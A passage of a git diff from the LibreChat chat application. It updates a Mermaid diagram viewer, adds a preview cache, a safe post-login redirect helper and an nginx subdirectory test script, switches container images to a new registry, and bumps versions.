+    const { state, instance } = transformRef.current;
+    if (!state) {
+      return;
+    }
+    const { scale, positionX, positionY } = state;
+    const { wrapperComponent, contentComponent } = instance;
+
+    if (!wrapperComponent || !contentComponent) {
+      return;
+    }
+
+    const wrapperRect = wrapperComponent.getBoundingClientRect();
+    const contentRect = contentComponent.getBoundingClientRect();
+    const maxX = wrapperRect.width - contentRect.width * scale;
+    const maxY = wrapperRect.height - contentRect.height * scale;
+
+    let newX = positionX;
+    let newY = positionY;
+
+    if (newX > 0) {
+      newX = 0;
+    }
+    if (newY > 0) {
+      newY = 0;
+    }
+    if (newX < maxX) {
+      newX = maxX;
+    }
+    if (newY < maxY) {
+      newY = maxY;
+    }
+
+    if (newX !== positionX || newY !== positionY) {
+      instance.setTransformState(scale, newX, newY);
+    }
+  }, []);
 
   return (
-    <div className="relative h-screen w-screen cursor-move bg-[#282C34] p-5">
+    <div style={{ position: "relative", height: "100vh", width: "100vw", cursor: "move", padding: "20px", backgroundColor: "${bgColor}" }}>
       <TransformWrapper
         ref={transformRef}
         initialScale={1}
-        minScale={0.1}
-        maxScale={10}
+        minScale={MIN_SCALE}
+        maxScale={MAX_SCALE}
         limitToBounds={false}
         centerOnInit={true}
         initialPositionY={0}
-        wheel={{ step: 0.1 }}
+        wheel={{ step: ZOOM_STEP }}
         panning={{ velocityDisabled: true }}
         alignmentAnimation={{ disabled: true }}
         onPanning={handlePanning}
+        onTransformed={handleTransform}
       >
         {({ zoomIn, zoomOut }) => (
           <>
@@ -204,24 +421,22 @@ const MermaidDiagram: React.FC<MermaidDiagramProps> = ({ content }) => {
                 }}
               />
             </TransformComponent>
-            <div className="absolute bottom-2 right-2 flex space-x-2">
-              <Button onClick={() => zoomIn(0.1)} variant="outline" size="icon">
-                <ZoomIn />
-              </Button>
-              <Button
-                onClick={() => zoomOut(0.1)}
-                variant="outline"
-                size="icon"
-              >
-                <ZoomOut />
-              </Button>
-              <Button
-                onClick={centerAndFitDiagram}
-                variant="outline"
-                size="icon"
-              >
-                <RefreshCw />
-              </Button>
+            <div style={toolbarStyle}>
+              <IconButton onClick={() => zoomOut(ZOOM_STEP)} title="Zoom out">
+                <ZoomOutIcon />
+              </IconButton>
+              <span style={zoomTextStyle}>{zoomLevel}%</span>
+              <IconButton onClick={() => zoomIn(ZOOM_STEP)} title="Zoom in">
+                <ZoomInIcon />
+              </IconButton>
+              <div style={dividerStyle} />
+              <IconButton onClick={centerAndFitDiagram} title="Reset view">
+                <ResetIcon />
+              </IconButton>
+              <div style={dividerStyle} />
+              <IconButton onClick={handleCopy} title="Copy code">
+                {copied ? <CheckIcon /> : <CopyIcon />}
+              </IconButton>
             </div>
           </>
         )}
@@ -242,13 +457,16 @@ export default App = () => (
 `);
 };
 
-const mermaidCSS = `
+export const getMermaidFiles = (content: string, isDarkMode = true) => {
+  const mermaidTheme = isDarkMode ? 'dark' : 'neutral';
+  const btnStyles = getButtonStyles(isDarkMode);
+  const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
+  const mermaidCSS = `
 body {
-  background-color: #282C34;
+  background-color: ${bgColor};
 }
 `;
 
-export const getMermaidFiles = (content: string) => {
   return {
     'diagram.mmd': content || '# No mermaid diagram content provided',
     'App.tsx': wrapMermaidDiagram(content),
@@ -262,7 +480,7 @@ import App from "./App";
 const root = createRoot(document.getElementById("root"));
 root.render(<App />);
 ;`),
-    '/components/ui/MermaidDiagram.tsx': mermaid,
+    '/components/ui/MermaidDiagram.tsx': buildMermaidComponent(mermaidTheme, bgColor, btnStyles),
     'mermaid.css': mermaidCSS,
   };
 };
diff --git a/client/src/utils/previewCache.ts b/client/src/utils/previewCache.ts
new file mode 100644
index 0000000000..604ce56308
--- /dev/null
+++ b/client/src/utils/previewCache.ts
@@ -0,0 +1,35 @@
+/**
+ * Module-level cache for local blob preview URLs keyed by file_id.
+ * Survives message replacements from SSE but clears on page refresh.
+ */
+const previewCache = new Map<string, string>();
+
+export function cachePreview(fileId: string, previewUrl: string): void {
+  const existing = previewCache.get(fileId);
+  if (existing && existing !== previewUrl) {
+    URL.revokeObjectURL(existing);
+  }
+  previewCache.set(fileId, previewUrl);
+}
+
+export function getCachedPreview(fileId: string): string | undefined {
+  return previewCache.get(fileId);
+}
+
+/** Removes the cache entry without revoking the blob (used when transferring between keys) */
+export function removePreviewEntry(fileId: string): void {
+  previewCache.delete(fileId);
+}
+
+export function deletePreview(fileId: string): void {
+  const url = previewCache.get(fileId);
+  if (url) {
+    URL.revokeObjectURL(url);
+    previewCache.delete(fileId);
+  }
+}
+
+export function clearPreviewCache(): void {
+  previewCache.forEach((url) => URL.revokeObjectURL(url));
+  previewCache.clear();
+}
diff --git a/client/src/utils/redirect.ts b/client/src/utils/redirect.ts
new file mode 100644
index 0000000000..22b28d8a15
--- /dev/null
+++ b/client/src/utils/redirect.ts
@@ -0,0 +1,41 @@
+export const REDIRECT_PARAM = 'redirect_to';
+export const SESSION_KEY = 'post_login_redirect_to';
+
+/** Matches `/login` as a full path segment, with optional basename prefix (e.g. `/librechat/login/2fa`) */
+const LOGIN_PATH_RE = /(?:^|\/)login(?:\/|$)/;
+
+/** Validates that a redirect target is a safe relative path (not an absolute or protocol-relative URL) */
+export function isSafeRedirect(url: string): boolean {
+  if (!url.startsWith('/') || url.startsWith('//')) {
+    return false;
+  }
+  const path = url.split('?')[0].split('#')[0];
+  return !LOGIN_PATH_RE.test(path);
+}
+
+/**
+ * Resolves the post-login redirect from URL params and sessionStorage,
+ * cleans up both sources, and returns the validated target (or null).
+ */
+export function getPostLoginRedirect(searchParams: URLSearchParams): string | null {
+  const urlRedirect = searchParams.get(REDIRECT_PARAM);
+  const storedRedirect = sessionStorage.getItem(SESSION_KEY);
+
+  const target = urlRedirect ?? storedRedirect;
+
+  if (storedRedirect) {
+    sessionStorage.removeItem(SESSION_KEY);
+  }
+
+  if (target == null || !isSafeRedirect(target)) {
+    return null;
+  }
+
+  return target;
+}
+
+export function persistRedirectToSession(value: string): void {
+  if (isSafeRedirect(value)) {
+    sessionStorage.setItem(SESSION_KEY, value);
+  }
+}
diff --git a/client/src/utils/scaleImage.ts b/client/src/utils/scaleImage.ts
deleted file mode 100644
index 11e051fbd9..0000000000
--- a/client/src/utils/scaleImage.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-export default function scaleImage({
-  originalWidth,
-  originalHeight,
-  containerRef,
-}: {
-  originalWidth?: number;
-  originalHeight?: number;
-  containerRef: React.RefObject<HTMLDivElement>;
-}) {
-  const containerWidth = containerRef.current?.offsetWidth ?? 0;
-
-  if (containerWidth === 0 || originalWidth == null || originalHeight == null) {
-    return { width: 'auto', height: 'auto' };
-  }
-
-  const aspectRatio = originalWidth / originalHeight;
-  const scaledWidth = Math.min(containerWidth, originalWidth);
-  const scaledHeight = scaledWidth / aspectRatio;
-
-  return { width: `${scaledWidth}px`, height: `${scaledHeight}px` };
-}
diff --git a/client/vite.config.ts b/client/vite.config.ts
index b3f6541ab3..58d4bc98f2 100644
--- a/client/vite.config.ts
+++ b/client/vite.config.ts
@@ -1,22 +1,46 @@
 import react from '@vitejs/plugin-react';
-// @ts-ignore
 import path from 'path';
-import type { Plugin } from 'vite';
 import { defineConfig } from 'vite';
+import { createRequire } from 'module';
+import { VitePWA } from 'vite-plugin-pwa';
 import { compression } from 'vite-plugin-compression2';
 import { nodePolyfills } from 'vite-plugin-node-polyfills';
-import { VitePWA } from 'vite-plugin-pwa';
+import type { Plugin } from 'vite';
+
+const require = createRequire(import.meta.url);
+
+/**
+ * vite-plugin-node-polyfills uses @rollup/plugin-inject to replace bare globals (e.g. `process`)
+ * with imports like `import process from 'vite-plugin-node-polyfills/shims/process'`. When the
+ * consuming module (e.g. recoil) is hoisted to the monorepo root, Vite 7's ESM resolver walks up
+ * from there and never finds the shims (installed only in client/node_modules). This map resolves
+ * the shim specifiers to absolute paths via CJS require.resolve anchored to the client directory.
+ */
+const NODE_POLYFILL_SHIMS: Record<string, string> = {
+  'vite-plugin-node-polyfills/shims/process': require.resolve(
+    'vite-plugin-node-polyfills/shims/process',
+  ),
+  'vite-plugin-node-polyfills/shims/buffer': require.resolve(
+    'vite-plugin-node-polyfills/shims/buffer',
+  ),
+  'vite-plugin-node-polyfills/shims/global': require.resolve(
+    'vite-plugin-node-polyfills/shims/global',
+  ),
+};
 
 // https://vitejs.dev/config/
-const backendPort = process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT) || 3080;
-const backendURL = process.env.HOST ? `http://${process.env.HOST}:${backendPort}` : `http://localhost:${backendPort}`;
+const backendPort = (process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT)) || 3080;
+const backendURL = process.env.HOST
+  ? `http://${process.env.HOST}:${backendPort}`
+  : `http://localhost:${backendPort}`;
 
 export default defineConfig(({ command }) => ({
   base: '',
   server: {
-    allowedHosts: process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',') || [],
+    allowedHosts:
+      (process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',')) || [],
     host: process.env.HOST || 'localhost',
-    port: process.env.PORT && Number(process.env.PORT) || 3090,
+    port: (process.env.PORT && Number(process.env.PORT)) || 3090,
     strictPort: false,
     proxy: {
       '/api': {
@@ -34,6 +58,12 @@ export default defineConfig(({ command }) => ({
   envPrefix: ['VITE_', 'SCRIPT_', 'DOMAIN_', 'ALLOW_'],
   plugins: [
     react(),
+    {
+      name: 'node-polyfills-shims-resolver',
+      resolveId(id) {
+        return NODE_POLYFILL_SHIMS[id] ?? null;
+      },
+    },
     nodePolyfills(),
     VitePWA({
       injectRegister: 'auto', // 'auto' | 'manual' | 'disabled'
@@ -143,7 +173,12 @@ export default defineConfig(({ command }) => ({
             if (normalizedId.includes('@dicebear')) {
               return 'avatars';
             }
-            if (normalizedId.includes('react-dnd') || normalizedId.includes('react-flip-toolkit')) {
+            if (
+              normalizedId.includes('react-dnd') ||
+              normalizedId.includes('dnd-core') ||
+              normalizedId.includes('react-flip-toolkit') ||
+              normalizedId.includes('flip-toolkit')
+            ) {
               return 'react-interactions';
             }
             if (normalizedId.includes('react-hook-form')) {
@@ -219,7 +254,10 @@ export default defineConfig(({ command }) => ({
             if (normalizedId.includes('framer-motion')) {
               return 'framer-motion';
             }
-            if (normalizedId.includes('node_modules/highlight.js')) {
+            if (
+              normalizedId.includes('node_modules/highlight.js') ||
+              normalizedId.includes('node_modules/lowlight')
+            ) {
               return 'markdown_highlight';
             }
             if (normalizedId.includes('katex') || normalizedId.includes('node_modules/katex')) {
diff --git a/config/deployed-update.js b/config/deployed-update.js
index a95f97bc7b..7ce6eb106d 100644
--- a/config/deployed-update.js
+++ b/config/deployed-update.js
@@ -29,7 +29,7 @@ const shouldRebase = process.argv.includes('--rebase');
     execSync('git checkout main', { stdio: 'inherit' });
     console.purple('Pulling the latest code from main...');
     execSync('git pull origin main', { stdio: 'inherit' });
-  } else if (shouldRebase) {
+  } else {
     const currentBranch = getCurrentBranch();
     console.purple(`Rebasing ${currentBranch} onto main...`);
     execSync('git rebase origin/main', { stdio: 'inherit' });
@@ -41,13 +41,16 @@ const shouldRebase = process.argv.includes('--rebase');
   execSync(downCommand, { stdio: 'inherit' });
 
   console.purple('Removing all tags for LibreChat `deployed` images...');
-  const repositories = ['ghcr.io/danny-avila/librechat-dev-api', 'librechat-client'];
+  const repositories = ['registry.librechat.ai/danny-avila/librechat-dev-api', 'librechat-client'];
   repositories.forEach((repo) => {
-    const tags = execSync(`sudo docker images ${repo} -q`, { encoding: 'utf8' })
+    const imageRefs = execSync(`sudo docker images ${repo} --format "{{.Repository}}:{{.Tag}}"`, {
+      encoding: 'utf8',
+    })
       .split('\n')
-      .filter(Boolean);
-    tags.forEach((tag) => {
-      const removeImageCommand = `sudo docker rmi ${tag}`;
+      .filter(Boolean)
+      .filter((ref) => !ref.includes('<none>'));
+    imageRefs.forEach((imageRef) => {
+      const removeImageCommand = `sudo docker rmi ${imageRef}`;
       console.orange(removeImageCommand);
       execSync(removeImageCommand, { stdio: 'inherit' });
     });
@@ -58,11 +61,14 @@ const shouldRebase = process.argv.includes('--rebase');
   console.orange(pullCommand);
   execSync(pullCommand, { stdio: 'inherit' });
 
-  let startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d';
+  const startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d';
   console.green('Your LibreChat app is now up to date! Start the app with the following command:');
   console.purple(startCommand);
   console.orange(
     "Note: it's also recommended to clear your browser cookies and localStorage for LibreChat to assure a fully clean installation.",
   );
   console.orange("Also: Don't worry, your data is safe :)");
-})();
+})().catch((err) => {
+  console.error('Update script failed:', err.message);
+  process.exit(1);
+});
diff --git a/config/smart-reinstall.js b/config/smart-reinstall.js
index 18fe689127..f22bb25151 100644
--- a/config/smart-reinstall.js
+++ b/config/smart-reinstall.js
@@ -9,10 +9,9 @@
  *   Skips npm ci entirely when the lockfile hasn't changed.
  *
  * Package builds (Turborepo):
- *   Turbo hashes each package's source/config inputs, caches build
- *   outputs (dist/), and restores from cache when inputs match.
- *   Turbo v2 uses a global cache (~/.cache/turbo) that survives
- *   npm ci and is shared across worktrees.
+ *   Turbo hashes each package's source/config inputs (including the
+ *   lockfile), caches build outputs (dist/), and restores from cache
+ *   when inputs match. This script delegates entirely to turbo for builds.
  *
  * Usage:
  *   npm run smart-reinstall                  # Smart cached mode
@@ -27,11 +26,8 @@ const fs = require('fs');
 const path = require('path');
 const { execSync } = require('child_process');
 
-// Adds console.green, console.purple, etc.
 require('./helpers');
 
-// ─── Configuration ───────────────────────────────────────────────────────────
-
 const ROOT_DIR = path.resolve(__dirname, '..');
 const DEPS_HASH_MARKER = path.join(ROOT_DIR, 'node_modules', '.librechat-deps-hash');
 
@@ -42,7 +38,6 @@ const flags = {
   verbose: process.argv.includes('--verbose'),
 };
 
-// Workspace directories whose node_modules should be cleaned during reinstall
 const NODE_MODULES_DIRS = [
   ROOT_DIR,
   path.join(ROOT_DIR, 'packages', 'data-provider'),
@@ -53,8 +48,6 @@ const NODE_MODULES_DIRS = [
   path.join(ROOT_DIR, 'api'),
 ];
 
-// ─── Helpers ─────────────────────────────────────────────────────────────────
-
 function hashFile(filePath) {
   return crypto.createHash('sha256').update(fs.readFileSync(filePath)).digest('hex').slice(0, 16);
 }
@@ -63,8 +56,6 @@ function exec(cmd, opts = {}) {
   execSync(cmd, { cwd: ROOT_DIR, stdio: 'inherit', ...opts });
 }
 
-// ─── Dependency Installation ─────────────────────────────────────────────────
-
 function checkDeps() {
   const lockfile = path.join(ROOT_DIR, 'package-lock.json');
   if (!fs.existsSync(lockfile)) {
@@ -97,19 +88,15 @@ function installDeps(hash) {
   fs.writeFileSync(DEPS_HASH_MARKER, hash, 'utf-8');
 }
 
-// ─── Turbo Build ─────────────────────────────────────────────────────────────
-
 function runTurboBuild() {
   const args = ['npx', 'turbo', 'run', 'build'];
 
   if (flags.skipClient) {
     args.push('--filter=!@librechat/frontend');
   }
-
   if (flags.force) {
     args.push('--force');
   }
-
   if (flags.verbose) {
     args.push('--verbosity=2');
   }
@@ -119,76 +106,41 @@ function runTurboBuild() {
   exec(cmd);
 }
 
-/**
- * Fallback for when turbo is not installed (e.g., first run before npm ci).
- * Runs the same sequential build as the original `npm run frontend`.
- */
-function runFallbackBuild() {
-  console.orange('      turbo not found — using sequential fallback build\n');
-
-  const scripts = [
-    'build:data-provider',
-    'build:data-schemas',
-    'build:api',
-    'build:client-package',
-  ];
-
-  if (!flags.skipClient) {
-    scripts.push('build:client');
+function cleanTurboCache() {
+  console.purple('Clearing Turborepo cache...');
+  try {
+    exec('npx turbo daemon stop', { stdio: 'pipe' });
+  } catch {
+    // daemon may not be running
   }
 
-  for (const script of scripts) {
-    console.purple(`  Running ${script}...`);
-    exec(`npm run ${script}`);
+  const localTurboCache = path.join(ROOT_DIR, '.turbo');
+  if (fs.existsSync(localTurboCache)) {
+    fs.rmSync(localTurboCache, { recursive: true });
+  }
+
+  try {
+    exec('npx turbo clean', { stdio: 'pipe' });
+    console.green('Turbo cache cleared.');
+  } catch {
+    console.gray('Could not clear global turbo cache (may not exist yet).');
   }
 }
 
-function hasTurbo() {
-  const binDir = path.join(ROOT_DIR, 'node_modules', '.bin');
-  return ['turbo', 'turbo.cmd', 'turbo.ps1'].some((name) => fs.existsSync(path.join(binDir, name)));
-}
-
-// ─── Main ────────────────────────────────────────────────────────────────────
-
 (async () => {
   const startTime = Date.now();
 
   console.green('\n Smart Reinstall — LibreChat');
   console.green('─'.repeat(45));
 
-  // ── Handle --clean-cache ───────────────────────────────────────────────
   if (flags.cleanCache) {
-    console.purple('Clearing Turborepo cache...');
-    if (hasTurbo()) {
-      try {
-        exec('npx turbo daemon stop', { stdio: 'pipe' });
-      } catch {
-        // ignore — daemon may not be running
-      }
-    }
-    // Clear local .turbo cache dir
-    const localTurboCache = path.join(ROOT_DIR, '.turbo');
-    if (fs.existsSync(localTurboCache)) {
-      fs.rmSync(localTurboCache, { recursive: true });
-    }
-    // Clear global turbo cache
-    if (hasTurbo()) {
-      try {
-        exec('npx turbo clean', { stdio: 'pipe' });
-        console.green('Turbo cache cleared.');
-      } catch {
-        console.gray('Could not clear global turbo cache (may not exist yet).');
-      }
-    } else {
-      console.gray('turbo not installed — nothing to clear.');
-    }
-
+    cleanTurboCache();
     if (!flags.force) {
       return;
     }
   }
 
-  // ── Step 1: Dependencies ───────────────────────────────────────────────
+  // Step 1: Dependencies
   console.purple('\n[1/2] Checking dependencies...');
 
   if (flags.force) {
@@ -208,16 +160,10 @@ function hasTurbo() {
     }
   }
 
-  // ── Step 2: Build packages ─────────────────────────────────────────────
+  // Step 2: Build via Turborepo
   console.purple('\n[2/2] Building packages...');
+  runTurboBuild();
 
-  if (hasTurbo()) {
-    runTurboBuild();
-  } else {
-    runFallbackBuild();
-  }
-
-  // ── Done ───────────────────────────────────────────────────────────────
   const elapsed = ((Date.now() - startTime) / 1000).toFixed(1);
   console.log('');
   console.green('─'.repeat(45));
diff --git a/config/test-subdirectory-setup.sh b/config/test-subdirectory-setup.sh
new file mode 100644
index 0000000000..aafe84ce13
--- /dev/null
+++ b/config/test-subdirectory-setup.sh
@@ -0,0 +1,144 @@
+#!/usr/bin/env bash
+# =============================================================================
+# Test script for verifying subdirectory deployment (e.g., /chat/)
+#
+# Prerequisites:
+#   - nginx installed: sudo apt install nginx
+#   - LibreChat built:  npm run build
+#   - Backend running:  npm run backend (serves built SPA + API on port 3080)
+#
+# Usage:
+#   1. Build + start:        npm run build && npm run backend
+#   2. Run this script:      bash config/test-subdirectory-setup.sh start
+#   3. Open browser:         http://localhost:8080/chat/
+#   4. Cleanup:              bash config/test-subdirectory-setup.sh stop
+#
+# What to verify:
+#   - Accessing http://localhost:8080/chat/ should redirect to /chat/login
+#     (NOT /chat/chat/login)
+#   - After login, navigating to protected routes should work
+#   - Logging out and being redirected should not double the path
+# =============================================================================
+
+set -euo pipefail
+
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+NGINX_CONF="/tmp/librechat-subdir-test-nginx.conf"
+NGINX_PID="/tmp/librechat-subdir-test-nginx.pid"
+
+ENV_FILE="${REPO_ROOT}/.env"
+
+write_nginx_conf() {
+  cat > "$NGINX_CONF" << 'NGINX'
+worker_processes 1;
+pid /tmp/librechat-subdir-test-nginx.pid;
+error_log /tmp/librechat-subdir-test-nginx-error.log warn;
+
+events {
+    worker_connections 64;
+}
+
+http {
+    access_log /tmp/librechat-subdir-test-nginx-access.log;
+
+    map $http_upgrade $connection_upgrade {
+        default upgrade;
+        ''      close;
+    }
+
+    server {
+        listen 8080;
+        server_name localhost;
+
+        # Subdirectory proxy: strip /chat/ prefix and forward to backend
+        location /chat/ {
+            proxy_pass http://127.0.0.1:3080/;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection $connection_upgrade;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $scheme;
+            proxy_cache_bypass $http_upgrade;
+        }
+
+        # Redirect bare /chat to /chat/
+        location = /chat {
+            return 301 /chat/;
+        }
+    }
+}
+NGINX
+}
+
+start() {
+    echo "--- Setting up subdirectory test environment ---"
+
+    # Backup .env if it exists and doesn't have our marker
+    if [ -f "$ENV_FILE" ] && ! grep -q '## SUBDIR_TEST_MARKER' "$ENV_FILE"; then
+        cp "$ENV_FILE" "${ENV_FILE}.bak-subdir-test"
+        echo "Backed up .env to .env.bak-subdir-test"
+    fi
+
+    # Ensure DOMAIN_CLIENT and DOMAIN_SERVER are set for subdirectory
+    if ! grep -q 'DOMAIN_CLIENT=http://localhost:8080/chat' "$ENV_FILE" 2>/dev/null; then
+        echo ""
+        echo "You need to set these in your .env file:"
+        echo "  DOMAIN_CLIENT=http://localhost:8080/chat"
+        echo "  DOMAIN_SERVER=http://localhost:8080/chat"
+        echo ""
+        echo "Then restart the backend: npm run backend"
+        echo ""
+    fi
+
+    # Write and start nginx
+    write_nginx_conf
+    echo "Starting nginx on port 8080 with subdirectory /chat/ ..."
+
+    # Stop any existing test nginx
+    if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then
+        nginx -c "$NGINX_CONF" -s stop 2>/dev/null || true
+        sleep 1
+    fi
+
+    nginx -c "$NGINX_CONF"
+    echo "nginx started (PID: $(cat "$NGINX_PID" 2>/dev/null || echo 'unknown'))"
+    echo ""
+    echo "=== Test URLs ==="
+    echo "  Main:     http://localhost:8080/chat/"
+    echo "  Login:    http://localhost:8080/chat/login"
+    echo "  Expect:   Redirects should go to /chat/login, NOT /chat/chat/login"
+    echo ""
+    echo "=== Logs ==="
+    echo "  Access: /tmp/librechat-subdir-test-nginx-access.log"
+    echo "  Error:  /tmp/librechat-subdir-test-nginx-error.log"
+    echo ""
+    echo "Run '$0 stop' to clean up."
+}
+
+stop() {
+    echo "--- Cleaning up subdirectory test environment ---"
+
+    if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then
+        nginx -c "$NGINX_CONF" -s stop
+        echo "nginx stopped."
+    else
+        echo "nginx not running."
+    fi
+
+    rm -f "$NGINX_CONF" /tmp/librechat-subdir-test-nginx-*.log
+
+    if [ -f "${ENV_FILE}.bak-subdir-test" ]; then
+        echo "Restore .env backup: cp ${ENV_FILE}.bak-subdir-test ${ENV_FILE}"
+    fi
+}
+
+case "${1:-}" in
+    start) start ;;
+    stop)  stop ;;
+    *)
+        echo "Usage: $0 {start|stop}"
+        exit 1
+        ;;
+esac
diff --git a/deploy-compose.yml b/deploy-compose.yml
index 040783b0b0..968768b818 100644
--- a/deploy-compose.yml
+++ b/deploy-compose.yml
@@ -4,7 +4,7 @@ services:
     #   context: .
     #   dockerfile: Dockerfile.multi
     #   target: api-build
-    image: ghcr.io/danny-avila/librechat-dev-api:latest
+    image: registry.librechat.ai/danny-avila/librechat-dev-api:latest
     container_name: LibreChat-API
     ports:
       - 3080:3080
@@ -53,7 +53,7 @@ services:
     command: mongod --noauth
   meilisearch:
     container_name: chat-meilisearch
-    image: getmeili/meilisearch:v1.12.3
+    image: getmeili/meilisearch:v1.35.1
     restart: always
     # ports: # Uncomment this to access meilisearch from outside docker
     #   - 7700:7700 # if exposing these ports, make sure your master key is not the default value
@@ -63,7 +63,7 @@ services:
       - MEILI_HOST=http://meilisearch:7700
       - MEILI_NO_ANALYTICS=true
     volumes:
-      - ./meili_data_v1.12:/meili_data
+      - ./meili_data_v1.35.1:/meili_data
   vectordb:
     image: pgvector/pgvector:0.8.0-pg15-trixie
     environment:
@@ -74,7 +74,7 @@ services:
     volumes:
       - pgdata2:/var/lib/postgresql/data
   rag_api:
-    image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest
+    image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest
     environment:
       - DB_HOST=vectordb
       - RAG_PORT=${RAG_PORT:-8000}
diff --git a/docker-compose.override.yml.example b/docker-compose.override.yml.example
index 8c8aba9ed0..490436eb97 100644
--- a/docker-compose.override.yml.example
+++ b/docker-compose.override.yml.example
@@ -17,7 +17,7 @@
 #     - type: bind
 #       source: ./librechat.yaml
 #       target: /app/librechat.yaml
-#     image: ghcr.io/danny-avila/librechat:latest
+#     image: registry.librechat.ai/danny-avila/librechat:latest
 
 # ---------------------------------------------------
 
@@ -39,19 +39,19 @@
 
 # # BUILD FROM LATEST IMAGE
 #   api:
-#     image: ghcr.io/danny-avila/librechat-dev:latest
+#     image: registry.librechat.ai/danny-avila/librechat-dev:latest
 
 # # BUILD FROM LATEST IMAGE (NUMBERED RELEASE)
 #   api:
-#     image: ghcr.io/danny-avila/librechat:latest
+#     image: registry.librechat.ai/danny-avila/librechat:latest
 
 # # BUILD FROM LATEST API IMAGE
 #   api:
-#     image: ghcr.io/danny-avila/librechat-dev-api:latest
+#     image: registry.librechat.ai/danny-avila/librechat-dev-api:latest
 
 # # BUILD FROM LATEST API IMAGE (NUMBERED RELEASE)
 #   api:
-#     image: ghcr.io/danny-avila/librechat-api:latest
+#     image: registry.librechat.ai/danny-avila/librechat-api:latest
 
 # # ADD SAML CERT FILE
 #   api:
@@ -104,7 +104,7 @@
 
 # # USE RAG API IMAGE WITH LOCAL EMBEDDINGS SUPPORT
 #  rag_api:
-#    image: ghcr.io/danny-avila/librechat-rag-api-dev:latest
+#    image: registry.librechat.ai/danny-avila/librechat-rag-api-dev:latest
 # # For Linux user:
 #    extra_hosts:
 #      - "host.docker.internal:host-gateway"
diff --git a/docker-compose.yml b/docker-compose.yml
index 8df3044530..079cdb74b6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -9,7 +9,7 @@ services:
     depends_on:
       - mongodb
       - rag_api
-    image: ghcr.io/danny-avila/librechat-dev:latest
+    image: registry.librechat.ai/danny-avila/librechat-dev:latest
     restart: always
     user: "${UID}:${GID}"
     extra_hosts:
@@ -37,7 +37,7 @@ services:
     command: mongod --noauth
   meilisearch:
     container_name: chat-meilisearch
-    image: getmeili/meilisearch:v1.12.3
+    image: getmeili/meilisearch:v1.35.1
     restart: always
     user: "${UID}:${GID}"
     environment:
@@ -45,7 +45,7 @@ services:
       - MEILI_NO_ANALYTICS=true
       - MEILI_MASTER_KEY=${MEILI_MASTER_KEY}
     volumes:
-      - ./meili_data_v1.12:/meili_data
+      - ./meili_data_v1.35.1:/meili_data
   vectordb:
     container_name: vectordb
     image: pgvector/pgvector:0.8.0-pg15-trixie
@@ -58,7 +58,7 @@ services:
       - pgdata2:/var/lib/postgresql/data
   rag_api:
     container_name: rag_api
-    image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest
+    image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest
     environment:
       - DB_HOST=vectordb
       - RAG_PORT=${RAG_PORT:-8000}
diff --git a/e2e/jestSetup.js b/e2e/jestSetup.js
index 8516cf233c..64c1a8546f 100644
--- a/e2e/jestSetup.js
+++ b/e2e/jestSetup.js
@@ -1,3 +1,3 @@
-// v0.8.3-rc1
+// v0.8.3
 // See .env.test.example for an example of the '.env.test' file.
 require('dotenv').config({ path: './e2e/.env.test' });
diff --git a/helm/librechat-rag-api/Chart.yaml b/helm/librechat-rag-api/Chart.yaml
index cc382f0501..7eaa0e355d 100755
--- a/helm/librechat-rag-api/Chart.yaml
+++ b/helm/librechat-rag-api/Chart.yaml
@@ -21,7 +21,7 @@ version: 0.5.3
 # follow Semantic Versioning. They should reflect the version the application is using.
 # It is recommended to use it with quotes.
 
-# renovate: image=ghcr.io/danny-avila/librechat-rag-api-dev
+# renovate: image=registry.librechat.ai/danny-avila/librechat-rag-api-dev
 appVersion: "v0.4.0"
 
 home: https://www.librechat.ai
diff --git a/helm/librechat-rag-api/values.yaml b/helm/librechat-rag-api/values.yaml
index 3e1b61208a..be480d44c5 100755
--- a/helm/librechat-rag-api/values.yaml
+++ b/helm/librechat-rag-api/values.yaml
@@ -9,7 +9,7 @@ rag:
 
 image:
   repository: danny-avila/librechat-rag-api-dev-lite # there is rag-api-dev and rag-api-dev-lite. currently only lite is docuimented
-  registry: ghcr.io
+  registry: registry.librechat.ai
   pullPolicy: IfNotPresent
   # Overrides the image tag whose default is the chart appVersion.
   tag: latest
diff --git a/helm/librechat/Chart.yaml b/helm/librechat/Chart.yaml
index 2625956344..a2dff261c7 100755
--- a/helm/librechat/Chart.yaml
+++ b/helm/librechat/Chart.yaml
@@ -15,15 +15,15 @@ type: application
 # This is the chart version. This version number should be incremented each time you make changes
 # to the chart and its templates, including the app version.
 # Versions are expected to follow Semantic Versioning (https://semver.org/)
-version: 1.9.8
+version: 2.0.0
 
 # This is the version number of the application being deployed. This version number should be
 # incremented each time you make changes to the application. Versions are not expected to
 # follow Semantic Versioning. They should reflect the version the application is using.
 # It is recommended to use it with quotes.
 
-# renovate: image=ghcr.io/danny-avila/librechat
-appVersion: "v0.8.3-rc1"
+# renovate: image=registry.librechat.ai/danny-avila/librechat
+appVersion: "v0.8.3"
 
 home: https://www.librechat.ai
 
diff --git a/helm/librechat/values.yaml b/helm/librechat/values.yaml
index a4c877d64d..1dbacbe89d 100755
--- a/helm/librechat/values.yaml
+++ b/helm/librechat/values.yaml
@@ -118,7 +118,7 @@ librechat-rag-api:
 
 image:
   repository: danny-avila/librechat
-  registry: ghcr.io
+  registry: registry.librechat.ai
   pullPolicy: IfNotPresent
   # Overrides the image tag whose default is the chart appVersion.
   tag: ""
diff --git a/librechat.example.yaml b/librechat.example.yaml
index 55089fc582..03bb5f5bc2 100644
--- a/librechat.example.yaml
